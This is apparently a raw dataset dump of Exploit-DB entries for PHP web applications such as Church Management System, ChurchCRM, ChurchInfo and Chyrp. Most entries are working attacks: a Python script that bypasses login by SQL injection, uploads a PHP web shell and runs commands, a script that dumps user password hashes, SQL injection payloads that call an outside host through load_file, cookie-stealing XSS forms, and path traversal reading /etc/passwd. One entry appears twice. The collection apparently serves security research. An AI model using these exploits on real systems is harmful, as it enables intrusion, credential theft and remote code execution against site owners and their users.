deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50116
Description: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE
Type: webapps
Platform: php
Date: 2021-07-09
Author: Eleonora Guardini

Exploit:
# Exploit Title: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE
# Date: 05-07-2021
# Exploit Author: Eleonora Guardini (eleguardini93 at gmail dot com or eleonora.guardini at dedagroup dot com)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested On: Ubuntu 18.04 with apache2 2.4.29 (Ubuntu)

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import os, sys
import argparse
import optparse
import string

if len(sys.argv)!=5:
    print('Usage: -u http://<ip> -c <"command">')
    print('ex. python3 http://192.168.1.2 -c "ls+-la"')
    exit()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url")
parser.add_option('-c', '--cmd', action="store", dest="cmd")
options,args=parser.parse_args()

print(options.url, options.cmd)
print(len(sys.argv))

def randomGen(size=8, chars=string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

urlbase=options.url+'/cman/admin';
loginUrl=urlbase+'/index.php';

shellFile=randomGen()+".php"

payload={"username":"test", "password":"' or 'a'='a'#", "login":""};

proxies = { "http": "http://localhost:8080"}

mp_encoder = MultipartEncoder(fields = {
    "image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
    "change":""})

session=requests.Session()
r=session.post(loginUrl, payload, allow_redirects=False) #, proxies=proxies)
cookie=r.headers["Set-Cookie"]

headers = {"Cookie": cookie, 'Content-Type':mp_encoder.content_type}

uploadUrl=urlbase+"/admin_pic.php"

post=session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)

os.system("curl " + urlbase + "/uploads/" + shellFile + "?cmd="+ options.cmd)
Exploit-DB #50965
Description: ChurchCRM 4.4.5 - SQLi
Type: webapps
Platform: php
Date: 2022-06-14
Author: nu11secur1ty

Exploit:
# Exploit Title: ChurchCRM 4.4.5 - SQLi
# Exploit Author: nu11secur1ty
# Date: 05.11.2022
# Vendor: https://churchcrm.io/
# Software: https://github.com/ChurchCRM/CRM
# Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325

## Description:
There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.

[+] Payloads:

```mysql
---
Parameter: PersonID (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE
(SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PersonID=1 AND (SELECT 7116 FROM
(SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

```
Exploit-DB #51319
Description: ChurchCRM 4.5.1 - Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2023-04-07
Author: Arvandy

Exploit:
# Exploit Title: ChurchCRM 4.5.1 - Authenticated SQL Injection
# Date: 11-03-2023
# Exploit Author: Arvandy
# Blog Post: https://github.com/arvandy/CVE/blob/main/CVE-2023-24787/CVE-2023-24787.md
# Software Link: https://github.com/ChurchCRM/CRM/releases
# Vendor Homepage: http://churchcrm.io/
# Version: 4.5.1
# Tested on: Windows, Linux
# CVE: CVE-2023-24787

"""
The endpoint /EventAttendance.php is vulnerable to Authenticated SQL Injection (Union-based and Blind-based) via the Event GET parameter.
This endpoint can be triggered through the following menu: Events - Event Attendance Reports - Church Service/Sunday School. 
The Event Parameter is taken directly from the query string and passed into the SQL query without any sanitization or input escaping.
This allows the attacker to inject malicious Event payloads to execute the malicious SQL query.

This script is created as Proof of Concept to retrieve the username and password hash from user_usr table.
"""


import sys, requests

def dumpUserTable(target, session_cookies):    
    print("(+) Retrieving username and password")
    print("")
    url = "%s/EventAttendance.php?Action=List&Event=2+UNION+ALL+SELECT+1,NULL,CONCAT('Perseverance',usr_Username,':',usr_Password),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+from+user_usr--+-&Type=Sunday School" % (target)
    headers = {'Content-Type':'application/x-www-form-urlencoded','Cookie':'CRM-2c90cf299230a50dab55aee824ed9b08='+str(session_cookies)}              
    r = requests.get(url, headers=headers)
    lines = r.text.splitlines()
    
    for line in lines: 
        if "<td >Perseverance" in line:
            print(line.split("Perseverance")[1].split("</td>")[0])
    
def login(target, username, password):
    target = "%s/session/begin" % (target)
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = "User=%s&Password=%s" % (username, password)
    s = requests.session()
    r = s.post(target, data = data, headers = headers)
    return s.cookies.get('CRM-2c90cf299230a50dab55aee824ed9b08')

def main():
    print("(!) Login to the target application")
    session_cookies = login(target, username, password)       
    
    print("(!) Exploiting the Auth SQL Injection to retrieve the username and password hash")
    dumpUserTable(target, session_cookies)

    
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("(!) Usage: python3 exploit.py <URL> <username> <password>")
        print("(!) E.g.,: python3 exploit.py http://192.168.1.100/ChurchCRM user pass")
        sys.exit(-1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    main()
Exploit-DB #52152
Description: ChurchCRM 5.9.1 - SQL Injection
Type: webapps
Platform: php
Date: 2025-04-09
Author: Sanan Qasimzada

Exploit:
# Exploit Title: ChurchCRM 5.9.1 - SQL Injection

# Author: Sanan Qasimzada

# Date: 06.07.2024

# Vendor: http://churchcrm.io/

# Software: https://github.com/ChurchRM/CRM

# Reference: https://portswigger.net/web-security/sql-injection



# Description:

In the manual insertion point 1 - parameter `EID` appears to be

vulnerable to SQL injection attacks.

No need for cookies, no need admin authentication and etc.

The attacker easily can steal information from this system by using

this vulnerability.



STATUS: HIGH Vulnerability - CRITICAL



[+]Payload:

```mysql

---

Parameter: EID (GET)

    Type: boolean-based blind

    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

OR NOT 2407=2407



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)



    Type: UNION query

    Title: MySQL UNION query (UTF8) - 11 columns

    Payload: EID=(select

load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com
\\ior'))

UNION ALL SELECT

'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d[PII_REDACTED]5670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#

---



```



# Reproduce:

[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1
)



# Proof and Exploit:

[href](https://streamable.com/1eqhw2)



# Time spend:

01:00:00





-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at

https://packetstormsecurity.com/https://cve.mitre.org/index.html and

https://www.exploit-db.com/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>



-- 

System Administrator - Infrastructure Engineer

Penetration Testing Engineer

Exploit developer at https://packetstormsecurity.com/

https://cve.mitre.org/index.html

https://cxsecurity.com/ and https://www.exploit-db.com/

0day Exploit DataBase https://0day.today/

home page: https://www.nu11secur1ty.com/

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=

                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51296
Description: ChurchCRM v4.5.3-121fcc1 - SQL Injection
Type: webapps
Platform: php
Date: 2023-04-06
Author: nu11secur1ty

Exploit:
## Exploit Title: ChurchCRM v4.5.3-121fcc1 - SQL Injection
## Author: nu11secur1ty
## Date: 02.27.2023
## Vendor: http://churchcrm.io/
## Software: https://github.com/ChurchCRM/CRM
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
In the manual insertion point 1 - parameter `EID` appears to be
vulnerable to SQL injection attacks.
No need for cookies, no need admin authentication and etc.
The attacker easily can steal information from this system by using
this vulnerability.

STATUS: HIGH Vulnerability - CRITICAL

[+]Payload:
```mysql
---
Parameter: EID (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior'))
OR NOT 2407=2407

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior'))
AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX)

    Type: UNION query
    Title: MySQL UNION query (UTF8) - 11 columns
    Payload: EID=(select
load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior'))
UNION ALL SELECT
'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d[PII_REDACTED]5670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1)

## Proof and Exploit:
[href](https://streamable.com/1eqhw2)

## Time spend:
01:00:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51477
Description: ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Rahad Chowdhury

Exploit:
# Exploit Title: ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated)
# Date: 2023-04-17
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: http://churchcrm.io/
# Software Link: https://github.com/ChurchCRM/CRM/releases/tag/4.5.4
# Version: 4.5.4
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-31699

Steps to Reproduce:

1. At first login your admin panel.
2. Then click the "Admin" menu and click "CSV Import '' and you will get
the CSV file uploader option.
3. now insert xss payload in jpg file using exiftool or from image
properties and then upload the jpg file.
4. you will see XSS pop up.
Exploit-DB #15887
Description: ChurchInfo 1.2.12 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-01
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
 
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2011-01-01                              ]
 ##############################################################
 #  [ ChurchInfo <= 1.2.12 ]  SQL Injection Vulnerability     #
 ##############################################################
 #
 # Script: "ChurchInfo is a free church database program to help churches track members, 
 #	    families, groups, pledges and payments..."
 #
 # Script site: http://www.churchdb.org/
 # Download: http://sourceforge.net/projects/churchinfo/
 #
 # [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php
 # 
 #  POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
 #  Host: site.com
 #  User-Agent: Mozilla/5.0
 #  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 #  Accept-Language: pl,en-us;q=0.7,en;q=0.3
 #  Accept-Encoding: gzip,deflate
 #  Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
 #  Keep-Alive: 115
 #  Connection: keep-alive
 #  Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
 #  Content-Type: application/x-www-form-urlencoded
 #  Content-Length: 150
 #   
 #  WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1
 #   
 #  HTTP/1.1 200 OK
 #  Date: Sat, 01 Jan 2011 15:39:10 GMT
 #  Server: Apache
 #  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
 #  Expires: Thu, 19 Nov 1981 08:52:00 GMT
 #  Pragma: no-cache
 #  X-Powered-By: PHP/4.4.9
 #  Keep-Alive: timeout=2, max=200
 #  Connection: Keep-Alive
 #  Transfer-Encoding: chunked
 #  Content-Type: text/html
 #    
 #    
 # Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48)
 #
 # ...
 # require 'Include/Config.php';
 # require 'Include/Functions.php';                             // (0) You should be logged in as some user
 # $eType="All";
 # $ThisYear=date("Y");
 # 
 # if ($_POST['WhichType']){
 #   $eType = $_POST['WhichType'];                              // (1)
 # } else {
 #   $eType ="All";
 # }
 # 
 # if($eType!="All"){
 #   $sSQL = "SELECT * FROM event_types WHERE type_id=$eType";  // (2)
 #   $rsOpps = RunQuery($sSQL);
 #   $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH);
 #   extract($aRow);
 #   $sPageTitle = "Listing Events of Type = ".$type_name;      // (3)
 # } else {
 #   $sPageTitle = gettext("Listing All Church Events");
 # }
 # ...  
 #
 #
 # Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37)
 # 
 # ...  
 #    <title>ChurchInfo: <?php echo $sPageTitle; ?></title>     // (4) 
 # ...  
 # 
 ###############################################

 
 [ dun / 2011 ]
Exploit-DB #36874
Description: Chyrp 2.1.1 - 'ajax.php' HTML Injection
Type: webapps
Platform: php
Date: 2012-02-22
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52115/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.1 is vulnerable; other versions may also be affected. 

<form action="http://[host]/includes/ajax.php" method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn"> 
</form>
Exploit-DB #36875
Description: Chyrp 2.1.2 - '/includes/error.php?body' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-22
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52117/info

Chyrp is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Chyrp 2.1.2 is vulnerable; other versions may also be affected. 

<form action="http://[host]/includes/error.php" method="post">
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="body" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn"> 
</form>
Exploit-DB #52013
Description: Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-05-13
Author: Ahmet Ümit BAYRAM

Exploit:
# Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/chyrp/
# Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip
# Version: 2.5.2
# Tested on: MacOS

### Steps to Reproduce ###

- Login from the address: http://localhost/chyrp/?action=login.
- Click on 'Write'.
- Type this payload into the 'Title' field: "><img src=x onerror=alert(
"Stored")>
- Fill in the 'Body' area and click 'Publish'.
- An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /chyrp/admin/?action=add_post HTTP/1.1
Host: localhost
Cookie: ChyrpSession=c4194c16a28dec03e[PII_REDACTED]81d11;
show_more_options=true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Length: 1194
Origin: http://localhost
Referer: http://localhost/chyrp/admin/?action=write_post
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="title"

"><img src=x onerror=alert("Stored")>
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="body"

<p>1337</p>
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="status"

public
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="slug"


----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="created_at"

04/24/24 12:31:57
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="original_time"

04/24/24 12:31:57
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="trackbacks"


----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="feather"

text
----------------------------[PII_REDACTED][PII_REDACTED]815561598
Content-Disposition: form-data; name="hash"

11e11aba15114f918ec1c2e6b8f8ddcf
----------------------------[PII_REDACTED][PII_REDACTED]815561598--
Exploit-DB #35943
Description: Chyrp 2.x - '/admin/help.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-13
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/48672/info

Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.

An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.

Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/help.php?title=[XSS]&body=[XSS]
Exploit-DB #35944
Description: Chyrp 2.x - '/includes/JavaScript.php?action' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-07-13
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/48672/info
 
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
 
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.comincludes/javascript.php?action=[XSS]
Exploit-DB #35946
Description: Chyrp 2.x - '/includes/lib/gz.php?File' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2011-07-29
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/48672/info
   
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
   
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
   
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd
Exploit-DB #35945
Description: Chyrp 2.x - 'action' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2011-07-29
Author: Wireghoul

Exploit:
source: https://www.securityfocus.com/bid/48672/info
  
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
  
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpassword%00